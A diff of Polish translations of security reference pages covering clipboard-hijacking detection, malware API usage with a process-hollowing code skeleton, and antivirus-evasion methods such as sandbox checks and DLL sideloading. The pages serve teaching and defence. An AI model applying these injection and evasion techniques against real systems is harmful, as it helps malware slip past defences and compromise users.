+- Rejestr/RunMRU i telemetria linii poleceń zawierająca `.split('').reverse().join('')` lub `eval(a.responseText)`.
+- Powtarzające się `powershell -NoProfile -NonInteractive -Command -` z dużymi payloadami na stdin do zasilania długich skryptów bez długich linii poleceń.
+- Zaplanowane zadania, które następnie uruchamiają LOLBins takie jak `regsvr32 /s /i:--type=renderer "%APPDATA%\Microsoft\SystemCertificates\<name>.dll"` w zadaniu/ścieżce wyglądającej na updater (np. `\GoogleSystem\GoogleUpdater`).

-1. Wzmocnienie przeglądarki – wyłącz dostęp do zapisu w schowku (`dom.events.asyncClipboard.clipboardItem` itp.) lub wymagaj gestu użytkownika.
-2. Świadomość bezpieczeństwa – ucz użytkowników, aby *pisali* wrażliwe polecenia lub wklejali je najpierw do edytora tekstu.
-3. Tryb ograniczonego języka PowerShell / Polityka wykonania + Kontrola aplikacji, aby zablokować dowolne jednowierszowe polecenia.
-4. Kontrole sieciowe – zablokuj wychodzące żądania do znanych domen pastejacking i C2 złośliwego oprogramowania.
+Threat hunting
+- Daily‑rotating C2 hostnames and URLs with `.../Y/?t=<epoch>&v=5&p=<encoded_user_pc_firstinfection>` pattern.
+- Koreluj zdarzenia zapisu do schowka, po których następuje wklejenie Win+R, a następnie natychmiastowe uruchomienie `powershell.exe`.

-## Powiązane Sztuczki
+Blue-teams mogą łączyć telemetrię schowka, tworzenia procesów i rejestru, aby namierzyć nadużycia pastejacking:

-* **Discord Invite Hijacking** często nadużywa tego samego podejścia ClickFix po zwabieniu użytkowników do złośliwego serwera:
+* Windows Registry: `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU` przechowuje historię poleceń **Win + R** – szukaj nietypowych wpisów Base64 / zaciemnionych.
+* Security Event ID **4688** (Process Creation), gdzie `ParentImage` == `explorer.exe` i `NewProcessName` w { `powershell.exe`, `wscript.exe`, `mshta.exe`, `curl.exe`, `cmd.exe` }.
+* Event ID **4663** dla tworzenia plików pod `%LocalAppData%\Microsoft\Windows\WinX\` lub w folderach tymczasowych tuż przed podejrzanym zdarzeniem 4688.
+* EDR clipboard sensors (if present) – koreluj `Clipboard Write` następujący bezpośrednio po uruchomieniu nowego procesu PowerShell.
+
+## Mitigations
+
+1. Browser hardening – disable clipboard write-access (`dom.events.asyncClipboard.clipboardItem` etc.) or require user gesture.
+2. Security awareness – teach users to *type* sensitive commands or paste them into a text editor first.
+3. PowerShell Constrained Language Mode / Execution Policy + Application Control to block arbitrary one-liners.
+4. Network controls – block outbound requests to known pastejacking and malware C2 domains.
+
+## Related Tricks
+
+* **Discord Invite Hijacking** often abuses the same ClickFix approach after luring users into a malicious server:

 {{#ref}}
 discord-invite-hijacking.md
 {{#endref}}

-## Odniesienia
+## References

 - [Fix the Click: Preventing the ClickFix Attack Vector](https://unit42.paloaltonetworks.com/preventing-clickfix-attack-vector/)
 - [Pastejacking PoC – GitHub](https://github.com/dxa4481/Pastejacking)
+- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)

 {{#include ../../banners/hacktricks-training.md}}
--- a/src/reversing/common-api-used-in-malware.md
+++ b/src/reversing/common-api-used-in-malware.md
@ -1,10 +1,10 @@
-# Common API used in Malware
+# Wspólne API używane w Malware

 {{#include ../banners/hacktricks-training.md}}

-## Generic
+## Ogólne

-### Networking
+### Sieci

 | Raw Sockets   | WinAPI Sockets |
 | ------------- | -------------- |
@ -17,6 +17,11 @@
 | write()       | send()         |
 | shutdown()    | WSACleanup()   |

+### TLS pinning and chunked transport
+
+Wiele loaderów owija swój strumień TCP w `SslStream` i porównuje certyfikat końcowy serwera z wbudowaną kopią (certificate pinning). Informacje/zadania bota są kompresowane (np. GZip). Gdy odpowiedzi przekraczają próg (~1 MB), dane są fragmentowane na małe kawałki (np. segmenty po 16 KB), aby ominąć heurystyki oparte na rozmiarze i zmniejszyć skoki użycia pamięci podczas deserializacji.
+
+
 ### Persistence

 | Registry         | File          | Service                      |
@ -49,16 +54,33 @@
 | CreateToolhelp32Snapshot \[Check if a process is running] |                       |
 | CreateFileW/A \[Check if a file exist]                    |                       |

-### Stealth
+### Emulator API fingerprinting & sleep evasion

-| Name                     |                                                                            |
+Malware często fingerprintuje sandboxy/emulatory, wyszukując zvirtualizowane exporty Defendera (widoczne w Malware Protection Emulator). Jeśli którykolwiek z tych symboli jest obecny (skan niewrażliwy na wielkość liter procesu), wykonanie jest wstrzymywane na 10–30 minut i ponownie sprawdzane, żeby zmarnować czas analizy.
+
+Przykłady nazw API używanych jako canary:
+- `MpVmp32Entry`, `MpVmp32FastEnter`, `MpCallPreEntryPointCode`, `MpCallPostEntryPointCode`, `MpFinalize`, `MpReportEvent*`, `MpSwitchToNextThread*`
+- `VFS_*` family: `VFS_Open`, `VFS_Read`, `VFS_MapViewOfFile`, `VFS_UnmapViewOfFile`, `VFS_FindFirstFile/FindNextFile`, `VFS_CopyFile`, `VFS_DeleteFile`, `VFS_MoveFile`
+- `ThrdMgr_*`: `ThrdMgr_GetCurrentThreadHandle`, `ThrdMgr_SaveTEB`, `ThrdMgr_SwitchThreads`
+
+Typical delay primitive (user-land):
+```cmd
+cmd /c timeout /t %RANDOM_IN_[600,1800]% > nul
+```
+Argument gatekeeping
+- Operatorzy czasami wymagają obecności pozornie nieszkodliwego przełącznika CLI przed uruchomieniem payloadu (np. `/i:--type=renderer` aby naśladować Chromium child processes). Jeśli przełącznik jest nieobecny, loader natychmiast kończy działanie, utrudniając proste uruchomienie w sandboxie.
+
+
+### Ukrywanie
+
+| Nazwa                    |                                                                            |
 | ------------------------ | -------------------------------------------------------------------------- |
-| VirtualAlloc             | Alokacja pamięci (pakery)                                                |
-| VirtualProtect           | Zmiana uprawnień pamięci (pakery nadające uprawnienia do wykonania sekcji) |
-| ReadProcessMemory        | Wstrzykiwanie do zewnętrznych procesów                                   |
-| WriteProcessMemoryA/W    | Wstrzykiwanie do zewnętrznych procesów                                   |
+| VirtualAlloc             | Alokuje pamięć (packers)                                                   |
+| VirtualProtect           | Zmienia uprawnienia pamięci (packer nadający sekcji uprawnienia do wykonania) |
+| ReadProcessMemory        | Injection into external processes                                          |
+| WriteProcessMemoryA/W    | Injection into external processes                                          |
 | NtWriteVirtualMemory     |                                                                            |
-| CreateRemoteThread       | Wstrzykiwanie DLL/procesu...                                             |
+| CreateRemoteThread       | DLL/Process injection...                                                   |
 | NtUnmapViewOfSection     |                                                                            |
 | QueueUserAPC             |                                                                            |
 | CreateProcessInternalA/W |                                                                            |
@ -75,70 +97,70 @@

 ### Miscellaneous

- GetAsyncKeyState() -- Rejestrowanie klawiszy
- SetWindowsHookEx -- Rejestrowanie klawiszy
- GetForeGroundWindow -- Uzyskanie nazwy działającego okna (lub strony internetowej z przeglądarki)
- LoadLibrary() -- Importowanie biblioteki
- GetProcAddress() -- Importowanie biblioteki
- CreateToolhelp32Snapshot() -- Lista działających procesów
- GetDC() -- Zrzut ekranu
- BitBlt() -- Zrzut ekranu
- InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- Dostęp do Internetu
- FindResource(), LoadResource(), LockResource() -- Dostęp do zasobów wykonywalnego
+- GetAsyncKeyState() -- Key logging
+- SetWindowsHookEx -- Key logging
+- GetForeGroundWindow -- Get running window name (or the website from a browser)
+- LoadLibrary() -- Import library
+- GetProcAddress() -- Import library
+- CreateToolhelp32Snapshot() -- List running processes
+- GetDC() -- Screenshot
+- BitBlt() -- Screenshot
+- InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- Access the Internet
+- FindResource(), LoadResource(), LockResource() -- Access resources of the executable

-## Malware Techniques
+## Techniki złośliwego oprogramowania

 ### DLL Injection

-Wykonaj dowolną DLL wewnątrz innego procesu
+Execute an arbitrary DLL inside another process

-1. Zlokalizuj proces, do którego wstrzykniesz złośliwą DLL: CreateToolhelp32Snapshot, Process32First, Process32Next
+1. Zlokalizuj proces, do którego chcesz wstrzyknąć złośliwy DLL: CreateToolhelp32Snapshot, Process32First, Process32Next
 2. Otwórz proces: GetModuleHandle, GetProcAddress, OpenProcess
-3. Zapisz ścieżkę do DLL wewnątrz procesu: VirtualAllocEx, WriteProcessMemory
-4. Utwórz wątek w procesie, który załaduje złośliwą DLL: CreateRemoteThread, LoadLibrary
+3. Zapisz ścieżkę do DLL w pamięci procesu: VirtualAllocEx, WriteProcessMemory
+4. Utwórz wątek w procesie, który załaduje złośliwy DLL: CreateRemoteThread, LoadLibrary

 Inne funkcje do użycia: NTCreateThreadEx, RtlCreateUserThread

 ### Reflective DLL Injection

-Załaduj złośliwą DLL bez wywoływania normalnych wywołań API systemu Windows.\
-DLL jest mapowana wewnątrz procesu, rozwiązuje adresy importu, naprawia relokacje i wywołuje funkcję DllMain.
+Load a malicious DLL without calling normal Windows API calls.\
+DLL jest mapowany wewnątrz procesu, rozwiązuje adresy importów, naprawia relocacje i wywołuje funkcję DllMain.

 ### Thread Hijacking

-Znajdź wątek z procesu i spraw, aby załadował złośliwą DLL
+Find a thread from a process and make it load a malicious DLL

 1. Znajdź docelowy wątek: CreateToolhelp32Snapshot, Thread32First, Thread32Next
 2. Otwórz wątek: OpenThread
-3. Wstrzymaj wątek: SuspendThread
-4. Zapisz ścieżkę do złośliwej DLL wewnątrz procesu ofiary: VirtualAllocEx, WriteProcessMemory
-5. Wznów wątek ładujący bibliotekę: ResumeThread
+3. Zawiesz wątek: SuspendThread
+4. Zapisz ścieżkę do złośliwego DLL w pamięci procesu ofiary: VirtualAllocEx, WriteProcessMemory
+5. Wznów wątek, aby załadował bibliotekę: ResumeThread

 ### PE Injection

-Wstrzykiwanie Portable Execution: Wykonywalny plik zostanie zapisany w pamięci procesu ofiary i będzie wykonywany stamtąd.
+Portable Execution Injection: wykonywalny plik zostanie zapisany w pamięci procesu ofiary i wykonany stamtąd.

 ### Process Hollowing (a.k.a **RunPE**)

-`Process Hollowing` to jeden z ulubionych trików **omijania obrony / wykonania** używanych przez złośliwe oprogramowanie Windows. Idea polega na uruchomieniu *legitymnego* procesu w stanie **wstrzymanym**, usunięciu (hollow) jego oryginalnego obrazu z pamięci i skopiowaniu **dowolnego PE** w jego miejsce. Gdy główny wątek zostanie w końcu wznowiony, złośliwy punkt wejścia wykonuje się pod przykrywką zaufanego binarnego (często podpisanego przez Microsoft).
+`Process Hollowing` jest jednym z ulubionych trików z kategorii **defence-evasion / execution** używanych przez malware dla Windows. Pomysł polega na uruchomieniu *legalnego* procesu w stanie **suspended**, usunięciu (wyhulowaniu) jego oryginalnego obrazu z pamięci i skopiowaniu w jego miejsce **dowolnego PE**. Gdy główny wątek zostanie wznowiony, złośliwy entry-point wykonuje się pod osłoną zaufanego binarium (często podpisanego przez Microsoft).

-Typowy przebieg:
+Typowy workflow:

-1. Uruchom benigny host (np. `RegAsm.exe`, `rundll32.exe`, `msbuild.exe`) **wstrzymany**, aby żadne instrukcje jeszcze się nie wykonywały.
+1. Uruchom hosta (np. `RegAsm.exe`, `rundll32.exe`, `msbuild.exe`) w stanie **suspended**, tak aby żadne instrukcje jeszcze nie zostały wykonane.
 ```c
 STARTUPINFOA  si = { sizeof(si) };
 PROCESS_INFORMATION pi;
 CreateProcessA("C:\\Windows\\Microsoft.NET\\Framework32\\v4.0.30319\\RegAsm.exe",
 NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
 ```
-2. Odczytaj złośliwy ładunek do pamięci i przeanalizuj jego nagłówki PE, aby uzyskać `SizeOfImage`, sekcje i nowy `EntryPoint`.
-3. **NtUnmapViewOfSection** / **ZwUnmapViewOfSection** – odmapuj oryginalną bazę obrazu wstrzymanego procesu.
-4. **VirtualAllocEx** – zarezerwuj pamięć RWX o `SizeOfImage` wewnątrz zdalnego procesu.
-5. **WriteProcessMemory** – najpierw skopiuj `Headers`, a następnie iteruj przez sekcje, kopiując ich surowe dane.
-6. **SetThreadContext** – popraw wartość `EAX/RAX` (`RCX` na x64) lub `Rip` w strukturze kontekstu, aby `EIP` wskazywał na `EntryPoint` ładunku.
+2. Wczytaj złośliwy payload do pamięci i sparsuj jego nagłówki PE, aby uzyskać `SizeOfImage`, sekcje i nowy `EntryPoint`.
+3. **NtUnmapViewOfSection** / **ZwUnmapViewOfSection** – odmapuj oryginalny base image zawieszonego procesu.
+4. **VirtualAllocEx** – zarezerwuj pamięć RWX o rozmiarze `SizeOfImage` wewnątrz zdalnego procesu.
+5. **WriteProcessMemory** – skopiuj najpierw `Headers`, potem iteruj po sekcjach i kopiuj ich raw data.
+6. **SetThreadContext** – popraw wartość rejestrów `EAX/RAX` (`RCX` na x64) lub `Rip` w strukturze kontekstu tak, aby `EIP` wskazywał na `EntryPoint` payloadu.
 7. **ResumeThread** – wątek kontynuuje, wykonując kod dostarczony przez atakującego.

-Minimalny dowód koncepcji (x86) szkielet:
+Minimalny proof-of-concept (x86) skeleton:
 ```c
 void RunPE(LPCSTR host, LPVOID payload, DWORD payloadSize){
 // 1. create suspended process
@ -166,25 +188,29 @@ ResumeThread(pi.hThread);
 ```
 Praktyczne uwagi zaobserwowane w kampanii **DarkCloud Stealer**:

-* Loader wybrał `RegAsm.exe` (część .NET Framework) jako hosta – podpisany plik binarny, który prawdopodobnie nie przyciągnie uwagi.
-* Zdekompresowany stealer VB6 (`holographies.exe`) *nie* jest zapisywany na dysku; istnieje tylko w wewnętrznym procesie, co utrudnia statyczne wykrywanie.
-* Wrażliwe ciągi (regexy, ścieżki, dane uwierzytelniające Telegram) są **szyfrowane RC4** dla każdego ciągu i są odszyfrowywane tylko w czasie wykonywania, co dodatkowo komplikuje skanowanie pamięci.
+* The loader picked `RegAsm.exe` (part of the .NET Framework) as host – a signed binary unlikely to draw attention.
+* Odszyfrowany VB6 stealer (`holographies.exe`) is *not* dropped on disk; istnieje jedynie wewnątrz the hollowed process, co utrudnia static detection.
+* Wrażliwe strings (regexes, paths, Telegram credentials) są **RC4-encrypted** per-string i odszyfrowywane dopiero w runtime, co dodatkowo utrudnia memory scanning.

 Pomysły na wykrywanie:
-* Alarmuj na procesy `CREATE_SUSPENDED`, które nigdy nie tworzą okien GUI/konsoli przed przydzieleniem regionu pamięci jako **RWX** (rzadkie dla kodu benignnego).
-* Szukaj sekwencji wywołań `NtUnmapViewOfSection ➜ VirtualAllocEx ➜ WriteProcessMemory` w różnych procesach.
+* Generuj alert dla procesów `CREATE_SUSPENDED`, które nie tworzą okien GUI/console zanim region pamięci zostanie zaalokowany jako **RWX** (rzadkie dla kodu nieszkodliwego).
+* Szukaj sekwencji wywołań `NtUnmapViewOfSection ➜ VirtualAllocEx ➜ WriteProcessMemory` występującej w różnych procesach.
+
+

 ## Hooking

- **SSDT** (**System Service Descriptor Table**) wskazuje na funkcje jądra (ntoskrnl.exe) lub sterownik GUI (win32k.sys), aby procesy użytkownika mogły wywoływać te funkcje.
- Rootkit może modyfikować te wskaźniki do adresów, które kontroluje.
- **IRP** (**I/O Request Packets**) przesyłają fragmenty danych z jednego komponentu do drugiego. Prawie wszystko w jądrze używa IRP, a każdy obiekt urządzenia ma swoją własną tabelę funkcji, która może być hookowana: DKOM (Direct Kernel Object Manipulation).
- **IAT** (**Import Address Table**) jest przydatna do rozwiązywania zależności. Możliwe jest hookowanie tej tabeli w celu przejęcia kodu, który będzie wywoływany.
- **EAT** (**Export Address Table**) Hooki. Te hooki mogą być realizowane z **userland**. Celem jest hookowanie funkcji eksportowanych przez DLL.
- **Inline Hooks**: Ten typ jest trudny do osiągnięcia. Polega na modyfikacji kodu samych funkcji. Może to być zrealizowane poprzez umieszczenie skoku na początku tej funkcji.
+- The **SSDT** (**System Service Descriptor Table**) points to kernel functions (ntoskrnl.exe) or GUI driver (win32k.sys) so user processes can call these functions.
+- A rootkit may modify these pointer to addresses that he controls
+- **IRP** (**I/O Request Packets**) transmit pieces of data from one component to another. Almost everything in the kernel uses IRPs and each device object has its own function table that can be hooked: DKOM (Direct Kernel Object Manipulation)
+- The **IAT** (**Import Address Table**) is useful to resolve dependencies. It's possible to hook this table in order to hijack the code that will be called.
+- **EAT** (**Export Address Table**) Hooks. This hooks can be done from **userland**. The goal is to hook exported functions by DLLs.
+- **Inline Hooks**: This type are difficult to achieve. This involve modifying the code of the functions itself. Maybe by putting a jump at the beginning of this.
+

 ## References

 - [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
+- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)

 {{#include ../banners/hacktricks-training.md}}
--- a/src/windows-hardening/av-bypass.md
+++ b/src/windows-hardening/av-bypass.md
@ -1,78 +1,78 @@
-# Antivirus (AV) Bypass
+# Omijanie antywirusa (AV)

 {{#include ../banners/hacktricks-training.md}}

-**Ta strona została napisana przez** [**@m2rc_p**](https://twitter.com/m2rc_p)**!**
+**Stronę napisał** [**@m2rc_p**](https://twitter.com/m2rc_p)**!**

-## Stop Defender
+## Zatrzymaj Defender

 - [defendnot](https://github.com/es3n1n/defendnot): Narzędzie do zatrzymania działania Windows Defender.
- [no-defender](https://github.com/es3n1n/no-defender): Narzędzie do zatrzymania działania Windows Defender przez podszycie się pod inny AV.
- [Disable Defender if you are admin](basic-powershell-for-pentesters/README.md)
+- [no-defender](https://github.com/es3n1n/no-defender): Narzędzie do zatrzymania działania Windows Defender, podszywając się pod inny AV.
+- [Wyłącz Defender, jeśli masz uprawnienia administratora](basic-powershell-for-pentesters/README.md)

-## **AV Evasion Methodology**
+## **Metodologia omijania AV**

-Obecnie AVs wykorzystują różne metody sprawdzania, czy plik jest złośliwy: static detection, dynamic analysis, oraz — w przypadku bardziej zaawansowanych EDRs — behavioural analysis.
+Obecnie AV wykorzystują różne metody sprawdzania, czy plik jest złośliwy, czy nie: wykrywanie statyczne, analiza dynamiczna, a w przypadku bardziej zaawansowanych EDR — analiza behawioralna.

-### **Static detection**
+### **Wykrywanie statyczne**

-Static detection polega na oznaczaniu znanych złośliwych ciągów znaków lub tablic bajtów w binarnym pliku lub skrypcie, a także na wyciąganiu informacji z samego pliku (np. file description, company name, digital signatures, icon, checksum itp.). Oznacza to, że używanie znanych publicznych narzędzi może sprawić, że zostaniesz szybciej wykryty, ponieważ prawdopodobnie zostały już przeanalizowane i oznaczone jako złośliwe. Istnieje kilka sposobów obejścia tego typu wykrywania:
+Wykrywanie statyczne polega na oznaczaniu znanych złośliwych łańcuchów znaków lub sekwencji bajtów w binarium lub skrypcie, a także na wyciąganiu informacji z samego pliku (np. opis pliku, nazwa firmy, podpisy cyfrowe, ikona, suma kontrolna itd.). Oznacza to, że używanie znanych publicznych narzędzi może prowadzić do szybszego wykrycia, ponieważ prawdopodobnie zostały przeanalizowane i oznaczone jako złośliwe. Istnieje kilka sposobów obejścia takiego wykrywania:

- **Encryption**
+- **Szyfrowanie**

-Jeśli zaszyfrujesz binarkę, AV nie będzie w stanie wykryć twojego programu, ale będziesz potrzebował jakiegoś loadera, aby odszyfrować i uruchomić program w pamięci.
+Jeśli zaszyfrujesz binarium, AV nie będzie w stanie wykryć programu, ale będziesz potrzebował jakiegoś loadera, by odszyfrować i uruchomić program w pamięci.

- **Obfuscation**
+- **Obfuskacja**

-Czasami wystarczy zmienić kilka stringów w binarce lub skrypcie, aby obejść AV, ale może to być czasochłonne w zależności od tego, co próbujesz zaciemnić.
+Czasami wystarczy zmienić kilka łańcuchów w binarium lub skrypcie, żeby przejść obok AV, ale może to być czasochłonne w zależności od tego, co próbujesz obfuskować.

- **Custom tooling**
+- **Narzędzia własne**

 Jeśli opracujesz własne narzędzia, nie będzie znanych sygnatur, ale to wymaga dużo czasu i wysiłku.

 > [!TIP]
-> Dobrym sposobem sprawdzenia wykrywania statycznego przez Windows Defender jest [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Narzędzie dzieli plik na wiele segmentów i każdorazowo prosi Defender o przeskanowanie każdego z nich — w ten sposób możesz dokładnie zobaczyć, które stringi lub bajty w twojej binarce są oznaczane.
+> Dobrym sposobem sprawdzenia wykrywania statycznego przez Windows Defender jest [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Dzieli on plik na wiele segmentów, a następnie każe Defenderowi przeskanować każdy z nich osobno — w ten sposób może dokładnie wskazać, które łańcuchy lub bajty w binarium są oznaczone.

-Gorąco polecam obejrzeć ten [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) o praktycznym AV Evasion.
+Gorąco polecam sprawdzenie tej [playlisty na YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) o praktycznym omijaniu AV.

-### **Dynamic analysis**
+### **Analiza dynamiczna**

-Dynamic analysis zachodzi, gdy AV uruchamia twoją binarkę w sandboxie i obserwuje złośliwą aktywność (np. próby odszyfrowania i odczytu haseł z przeglądarki, wykonanie minidumpa na LSASS itp.). Ta część może być trudniejsza, ale oto kilka rzeczy, które możesz zrobić, aby ominąć sandboksy.
+Analiza dynamiczna polega na uruchomieniu binarium przez AV w piaskownicy i obserwowaniu złośliwej aktywności (np. próby odszyfrowania i odczytania haseł z przeglądarki, wykonanie minidumpa na LSASS itd.). Ta część może być trudniejsza, ale oto kilka rzeczy, które możesz zrobić, by ominąć piaskownice.

- **Sleep before execution** W zależności od implementacji może to być świetny sposób na ominięcie dynamic analysis AV. AV mają bardzo mało czasu na skanowanie plików, aby nie przerywać pracy użytkownika, więc użycie długich sleepów może zaburzyć analizę binarek. Problem w tym, że wiele sandboksów AV może po prostu pominąć sleep, w zależności od implementacji.
- **Checking machine's resources** Zazwyczaj sandboksy mają bardzo ograniczone zasoby (np. < 2GB RAM), żeby nie spowalniać maszyny użytkownika. Możesz też być kreatywny — np. sprawdzając temperaturę CPU lub prędkości wentylatorów; nie wszystko będzie zaimplementowane w sandboxie.
- **Machine-specific checks** Jeśli chcesz zaatakować użytkownika, którego stacja robocza jest dołączona do domeny "contoso.local", możesz sprawdzić domenę komputera i jeśli się nie zgadza — zakończyć działanie programu.
+- **Uśpienie przed wykonaniem** W zależności od implementacji może to być świetny sposób na ominięcie analizy dynamicznej AV. AV ma bardzo mało czasu na skanowanie plików, by nie przerywać pracy użytkownika, więc stosowanie długich sleepów może zaburzyć analizę binariów. Problem w tym, że wiele piaskownic AV może po prostu pominąć sleep, w zależności od tego, jak to zostało zaimplementowane.
+- **Sprawdzanie zasobów maszyny** Zazwyczaj piaskownice mają bardzo mało zasobów do wykorzystania (np. < 2GB RAM), inaczej mogłyby spowolnić maszynę użytkownika. Możesz też być tu bardzo kreatywny — np. sprawdzając temperaturę CPU czy prędkości wentylatorów; nie wszystko będzie zaimplementowane w piaskownicy.
+- **Sprawdzenia specyficzne dla maszyny** Jeśli chcesz targetować użytkownika, którego stacja robocza jest dołączona do domeny "contoso.local", możesz sprawdzić domenę komputera i zweryfikować, czy pasuje do tej, którą podałeś — jeśli nie, możesz zakończyć działanie programu.

-Okazuje się, że nazwa komputera sandboxa Microsoft Defender to HAL9TH, więc możesz sprawdzić nazwę komputera w swoim malware przed detonacją — jeśli nazwa to HAL9TH, oznacza to, że jesteś wewnątrz sandboxa Defendera i możesz zakończyć działanie programu.
+Okazuje się, że nazwa komputera w Sandboxie Microsoft Defender to HAL9TH, więc możesz sprawdzić nazwę komputera w swoim malware przed detonacją — jeśli nazwa pasuje do HAL9TH, oznacza to, że jesteś w piaskownicy Defendera i możesz zakończyć działanie programu.

 <figure><img src="../images/image (209).png" alt=""><figcaption><p>source: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>

-Kilka innych naprawdę dobrych wskazówek od [@mgeeky](https://twitter.com/mariuszbit) dotyczących obchodzenia się z Sandboksami
+Kilka innych świetnych wskazówek od [@mgeeky](https://twitter.com/mariuszbit) dotyczących radzenia sobie z piaskownicami

-<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev channel</p></figcaption></figure>
+<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> kanał #malware-dev</p></figcaption></figure>

-Jak wspomnieliśmy wcześniej, **public tools** w końcu **zostaną wykryte**, więc powinieneś zadać sobie pytanie:
+Jak już wspomnieliśmy wcześniej, **publiczne narzędzia** w końcu **zostaną wykryte**, więc powinieneś zadać sobie pytanie:

-Na przykład, jeśli chcesz zrzucić LSASS, **czy naprawdę musisz używać mimikatz**? Czy nie możesz użyć innego, mniej znanego projektu, który również zrzuca LSASS?
+Na przykład, jeśli chcesz zrzucić LSASS, **czy naprawdę musisz używać mimikatz**? Albo czy możesz użyć innego, mniej znanego projektu, który również zrzuca LSASS.

-Prawidłowa odpowiedź to prawdopodobnie to drugie. Biorąc mimikatz jako przykład — prawdopodobnie jest to jedno z najbardziej wykrywanych narzędzi przez AVs i EDRs; projekt jest super, ale jednocześnie to koszmar przy próbach ominięcia AVs, więc po prostu poszukaj alternatyw dla tego, co chcesz osiągnąć.
+Prawidłowa odpowiedź to prawdopodobnie to drugie. Biorąc mimikatz jako przykład — to prawdopodobnie jedno z, jeśli nie najbardziej oznaczonych narzędzi przez AV i EDR; choć projekt jest super, to praca z nim w kontekście omijania AV jest koszmarem, więc po prostu poszukaj alternatyw do osiągnięcia tego, co chcesz.

 > [!TIP]
-> Przy modyfikowaniu payloadów w celu evasions, upewnij się, że wyłączyłeś automatyczne wysyłanie próbek w defender, i proszę — na serio, **NIE WGRYWAJ NA VIRUSTOTAL**, jeśli twoim celem jest długoterminowe osiągnięcie ominęcia wykryć. Jeśli chcesz sprawdzić, czy payload jest wykrywany przez konkretny AV, zainstaluj go na VM, spróbuj wyłączyć automatyczne wysyłanie próbek i testuj tam, aż będziesz zadowolony z rezultatu.
+> Podczas modyfikowania payloadów pod kątem unikania wykrycia, upewnij się, że **wyłączyłeś automatyczne przesyłanie próbek** w Defenderze i poważnie — **NIE WYSYŁAJ NA VIRUSTOTAL**, jeśli Twoim celem jest długoterminowe ominięcie wykrycia. Jeśli chcesz sprawdzić, czy Twój payload jest wykrywany przez konkretne AV, zainstaluj je na VM, spróbuj wyłączyć automatyczne przesyłanie próbek i testuj tam, aż będziesz zadowolony z rezultatu.

-## EXEs vs DLLs
+## EXE vs DLL

-Kiedykolwiek to możliwe, zawsze **priorytetyzuj używanie DLLs do evasions** — z mojego doświadczenia pliki DLL są zwykle **znacznie mniej wykrywane** i analizowane, więc to prosta sztuczka, która w niektórych przypadkach pozwala uniknąć wykrycia (o ile twój payload ma sposób uruchomienia się jako DLL).
+Gdy to możliwe, zawsze **priorytetowo używaj DLL do omijania wykrycia** — z mojego doświadczenia, pliki DLL są zazwyczaj **znacznie mniej wykrywane** i analizowane, więc to prosty trik, który w niektórych przypadkach pozwala uniknąć detekcji (oczywiście jeśli Twój payload ma możliwość uruchomienia jako DLL).

-Jak widać na tym obrazku, DLL Payload z Havoc ma wynik wykrywalności 4/26 na antiscan.me, podczas gdy EXE ma 7/26.
+Jak widać na tym obrazie, DLL Payload z Havoc ma współczynnik wykrycia 4/26 na antiscan.me, podczas gdy EXE ma 7/26.

-<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me comparison of a normal Havoc EXE payload vs a normal Havoc DLL</p></figcaption></figure>
+<figure><img src="../images/image (1130).png" alt=""><figcaption><p>porównanie na antiscan.me normalnego payloadu Havoc EXE vs zwykłego Havoc DLL</p></figcaption></figure>

-Poniżej pokażemy kilka sztuczek, których możesz użyć z plikami DLL, aby być znacznie bardziej stealthy.
+Poniżej pokażemy kilka trików, które możesz zastosować z plikami DLL, aby być znacznie bardziej ukrytym.

 ## DLL Sideloading & Proxying

-**DLL Sideloading** wykorzystuje kolejność wyszukiwania DLL przez loadera, pozycjonując aplikację ofiary i złośliwy payload obok siebie.
+**DLL Sideloading** wykorzystuje kolejność wyszukiwania DLL używaną przez loader, ustawiając aplikację ofiary i złośliwy payload(y) obok siebie.

 Możesz sprawdzić programy podatne na DLL Sideloading za pomocą [Siofra](https://github.com/Cybereason/siofra) i następującego skryptu powershell:
 ```bash
@ -81,13 +81,13 @@ $binarytoCheck = "C:\Program Files\" + $_
 C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
 }
 ```
-Ta komenda wyświetli listę programów podatnych na DLL hijacking w "C:\Program Files\\" oraz plików DLL, które próbują załadować.
+To polecenie wyświetli listę programów podatnych na DLL hijacking w "C:\Program Files\\" oraz plików DLL, które próbują załadować.

-Gorąco polecam, abyś samodzielnie **zbadał programy DLL Hijackable/Sideloadable**, ta technika jest dość dyskretna, jeśli zostanie prawidłowo wykonana, ale jeśli użyjesz publicznie znanych DLL Sideloadable programs, możesz zostać łatwo wykryty.
+Gorąco zalecam, abyś **samodzielnie zbadał programy DLL Hijackable/Sideloadable** — ta technika jest dość trudna do wykrycia, jeśli jest wykonana poprawnie, ale jeśli użyjesz publicznie znanych DLL Sideloadable programs, możesz zostać łatwo wykryty.

-Samo umieszczenie złośliwego pliku DLL o nazwie, którą program oczekuje załadować, nie uruchomi twojego payloadu, ponieważ program oczekuje określonych funkcji w tym DLL; aby rozwiązać ten problem, użyjemy innej techniki zwanej **DLL Proxying/Forwarding**.
